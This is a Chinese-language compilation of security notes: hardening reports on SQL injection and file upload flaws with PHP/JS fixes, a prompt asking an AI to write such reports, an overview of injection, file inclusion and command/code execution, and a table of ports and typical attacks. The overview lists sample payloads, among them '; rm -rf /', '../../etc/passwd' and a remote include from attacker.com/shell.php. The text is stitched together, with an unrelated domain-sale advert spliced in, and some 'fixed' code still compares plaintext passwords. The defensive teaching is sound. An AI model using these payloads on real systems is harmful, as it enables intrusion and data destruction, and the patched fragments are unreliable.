## 5. 漏洞修复后代码截图

### 修复后的代码
```php
if (isset($_POST['login'])) {
$uname = trim($_POST['un']);
$pass = trim($_POST['ps']);

// 使用参数化查询防止 SQL 注入
$stmt = $conn->prepare('SELECT * FROM auth WHERE uname = ? AND pass = ?');
$stmt->bind_param('ss', $uname, $pass);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo "You are allowed<br>";
$_SESSION['logged'] = true;
$_SESSION['admin'] = $row['username'];
header('Location: panel.php', true, 302);
exit();
} else {
echo "<script>alert('Try again');</script>";
}
}
```

### 修复后的增强措施
1. **使用密码哈希存储和校验

// 注册用户时
$hashed_pass = password_hash($pass, PASSWORD_BCRYPT);

// 登录验证时
if (password_verify($pass, $row['pass'])) {
    // 验证通过
}

2. 限制登录尝试次数
通过记录用户登录尝试次数，防止暴力破解攻击。

---

## 关键词
#SQL注入 #参数化查询 #安全编码 #认证漏洞 #漏洞修复

# 漏洞加固报告

## 1. 漏洞点名称
文件上传功能的安全漏洞
该漏洞属于**文件上传类型漏洞**，可能导致攻击者上传恶意文件。关键特征包括：
- 缺乏对上传文件的严格校验（文件类型校验逻辑存在缺陷）。
- 未对服务器端文件路径和文件类型进行有效验证，可能被绕过。

---

## 2. 漏洞代码

### 前端代码

function checkFile() {
    var file = document.getElementsByName('upload file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件！");
        return false;
    }
    // 定义允许上传的文件类型
    var allow_ext = ".jpgl. pngl .gif";
    // 提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    // 判断上传文件类型是否允许上传
    if (allow_ext.indexof(ext_name) == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件，当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

### 后端代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在，请手工创建！';
    }
}

---

## 3. 漏洞产生的危害
1. **文件类型校验缺陷**：
- 前端的文件校验机制仅通过字符串匹配检查文件扩展名，极易被篡改或绕过。
- 后端未对文件类型进行进一步验证，允许上传非图片类型的文件，如恶意脚本文件（`.php`、`.jsp` 等）。

2. **潜在风险**：
- 攻击者可能上传恶意脚本，通过访问恶意脚本获取对服务器的控制权。
- 可能泄露敏感信息或导致数据被篡改，甚至让服务器沦为攻击平台。

3. **业务影响**：
- 数据完整性和机密性受损。
- 攻击者可能实施勒索攻击，导致严重经济损失。

---

## 4. 漏洞产生的原因以及修复思路

### 漏洞产生的原因
1. **客户端校验缺陷**：客户端文件类型校验缺乏可靠性，容易被篡改。
2. **后端安全措施不足**：未严格验证上传文件的 MIME 类型、扩展名及文件内容一致性。

### 修复思路
1. **后端严格校验**：
- 使用 mime_content_type() 或类似函数验证文件真实的 MIME 类型。
- 限制允许的文件扩展名。
- 对文件内容进行校验，防止伪装攻击。

2. **前端增强校验**：
- 使用更加健壮的文件校验逻辑，但前端校验仅作为用户体验的辅助措施，不能替代后端校验。

3. **其他防御措施**：
- 上传目录设置不可执行权限，防止上传的文件被执行。
- 对上传文件进行重命名，防止路径预测攻击。

---

## 5. 漏洞修复后代码截图

### 修复后的前端代码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (!file) {
        alert("请选择要上传的文件！");
        return false;
    }
    var allow_ext = [".jpg", ".png", ".gif"];
    var ext_name = file.substring(file.lastIndexOf(".")).toLowerCase();
    if (!allow_ext.includes(ext_name)) {
        alert(`该文件不允许上传，请上传以下类型的文件：${allow_ext.join(", ")}`);
        return false;
    }
    return true;
}

### 修复后的后端代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_info = finfo_open(FILEINFO_MIME_TYPE);
        $mime_type = finfo_file($file_info, $temp_file);
        finfo_close($file_info);

        // 允许的 MIME 类型和扩展名
        $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
        $allowed_ext = ['jpg', 'png', 'gif'];

        $file_ext = pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION);

        if (in_array($mime_type, $allowed_types) && in_array($file_ext, $allowed_ext)) {
            $new_file_name = uniqid() . '.' . $file_ext;
            $img_path = UPLOAD_PATH . '/' . $new_file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
                $msg = '文件上传成功！';
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不合法！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在，请手工创建！';
    }
}

---

## 关键词
#文件上传漏洞 #安全校验 #MIME类型验证 #恶意文件上传 #安全加固

你是一位经验丰富的代码安全审计专家和漏洞修复工程师。你需要针对输入的代码，编写一份专业的漏洞加固报告。

报告要求严格按照以下5个标题展开：

1. 漏洞点名称
- 简洁明确地描述发现的安全漏洞类型
- 使用业内通用的安全漏洞术语
- 说明漏洞的关键特征

2. 漏洞代码
- 直接展示存在安全隐患的代码片段
- 使用代码块格式
- 标注具体的行数和可疑代码

3. 漏洞产生的危害
- 详细分析如果被利用可能造成的安全风险
- 量化潜在的业务损失
- 说明攻击者可能的攻击路径

4. 漏洞产生的原因以及修复思路
- 深入解释代码中导致漏洞的根本原因
- 给出专业的修复建议
- 解释修复的技术原理

5. 漏洞修复后代码截图
- 展示修复后的安全代码
- 确保修复代码简洁、高效
- 证明修复后系统安全性提升

修复原则：
- 最小化代码变动
- 非侵入式改动
- 保持原有功能兼容性
- 遵循安全编码最佳实践

输出要求：
- 使用专业、客观的技术语言
- 文字简洁精准
- 必要时配合代码示例
- 保持报告的结构性和可读性

如果你理解这个任务，请告诉我，我将给你一些代码。

以下是关于注入漏洞、文件包含漏洞、命令执行漏洞和代码执行漏洞的详细分析，包括攻击方式和防御措施：

1. 注入漏洞（Injection Vulnerability）

注入漏洞是指攻击者通过将恶意代码注入应用程序的输入字段，从而执行未预期的指令或操控数据库、文件系统等。

常见攻击方式

SQL注入：通过构造特殊的SQL语句操控数据库，例如' OR '1'='1。

LDAP注入：通过篡改LDAP查询语句实现信息泄露或权限提升。

OS命令注入：注入恶意系统命令，如在输入中插入; ls。

NoSQL注入：利用NoSQL查询特性，通过JSON或其他结构构造恶意请求。


防御措施

1. 输入验证与过滤：对用户输入进行严格的校验和过滤，拒绝异常字符。


2. 参数化查询（Prepared Statement）：避免将用户输入直接拼接到查询中。


3. 使用ORM工具：通过对象映射避免直接操作SQL。


4. 最小权限原则：限制数据库用户权限，仅允许必要的操作。


5. 安全编码：严格遵循安全编码规范。




---

2. 文件包含漏洞（File Inclusion Vulnerability）

文件包含漏洞是指攻击者利用系统对文件的动态包含机制，包含恶意文件或非预期的文件。分为本地文件包含（LFI）和远程文件包含（RFI）。

常见攻击方式

本地文件包含（LFI）：通过操作文件路径（如../../etc/passwd）读取敏感文件。

远程文件包含（RFI）：通过URL包含恶意脚本（如http://attacker.com/shell.php），实现远程代码执行。

配合其他漏洞：文件包含漏洞常与上传漏洞结合，先上传恶意文件再包含执行。


防御措施

1. 限制动态文件包含：避免直接使用用户输入作为文件路径。


2. 设置白名单：对可以包含的文件路径设置白名单。


3. 禁用危险函数：如PHP的include和require。


4. 目录访问限制：配置open_basedir等，限制应用访问的目录。


5. 日志监控：监控异常的文件访问行为。




---

3. 命令执行漏洞（Command Execution Vulnerability）

命令执行漏洞是指攻击者通过未安全处理的用户输入直接执行系统命令，从而控制服务器。

常见攻击方式

直接注入：如通过Web应用表单输入; rm -rf /。

编码绕过：使用URL编码（如%26%26）绕过字符过滤。

结合文件上传：上传恶意脚本，通过命令执行漏洞调用。


防御措施

1. 避免直接调用命令：使用安全的替代函数处理系统功能。


2. 严格输入验证：禁止特殊字符（如&、|、;）。


3. 使用沙箱环境：限制命令执行的权限和范围。


4. 日志审计：对命令调用进行严格监控，发现异常立即报警。


5. 最小权限原则：限制Web服务用户的系统权限。




---

4. 代码执行漏洞（Code Execution Vulnerability）

代码执行漏洞是指攻击者通过漏洞在服务器上执行任意代码，完全控制目标系统。

常见攻击方式

动态代码注入：如PHP中的eval($_GET['code'])直接执行用户输入的代码。

结合反序列化漏洞：利用不安全的反序列化执行恶意代码。

模板注入：在模板引擎中注入恶意代码（如{{7*7}}）。


防御措施

1. 禁用危险函数：如PHP的eval()、exec()等。


2. 严格限制用户输入：任何代码执行点都应对输入进行严格验证。


3. 隔离执行环境：运行代码时使用沙箱或虚拟化技术，防止越权。


4. 代码审计：定期对应用进行代码审计，修复潜在问题。


5. 使用WAF（Web应用防火墙）：检测和阻止恶意代码的注入。




---

总结

通过综合使用输入验证、权限控制、沙箱隔离等手段，可以有效减少这些漏洞的风险。

Attacker

Attacker - The Domain Name Attacker.com is Now For Sale.

Attacker.com is now for sale, lease or rent. Smart domain names compound conversion rates and this domain name for Attacker marketing is a wise investment.

| TCP/5900, 5901 | VNC远程桌面管理工具 | 暴力破解 |
| TCP/5984 | CouchDB | 未授权访问 |
| TCP/6379 | Redis存储系统 | 未授权访问、暴力破解 |
| TCP/7001, 7002 | WebLogic控制台 | Java反序列化、弱口令 |
| TCP/7778 | Kloxo面板 | 弱口令 |
| TCP/8000 | Ajenti主机控制面板 | 弱口令 |
| TCP/8443 | Plesk主机控制面板 | 弱口令 |
| TCP/8069 | Zabbix | 远程执行、SQL注入 |
| TCP/8080~8089 | Jenkins、Jboss | 反序列化、弱口令 |
| TCP/9080, 9081 | WebSphere控制台 | Java反序列化、弱口令 |
| TCP/9200, 9300 | Elasticsearch | 远程执行 |
| TCP/10000 | Webmin（Linux系统管理工具） | 弱口令 |
| TCP/11211 | Memcached高速缓存系统 | 未授权访问 |
| TCP/27017, 27018 | MongoDB | 暴力破解、未授权访问 |
| TCP/3690 | SVN服务 | 泄露、未授权访问 |
| TCP/50000 | SAP Management Console | 远程执行 |
| TCP/50070, 50030 | Hadoop | 未授权访问 |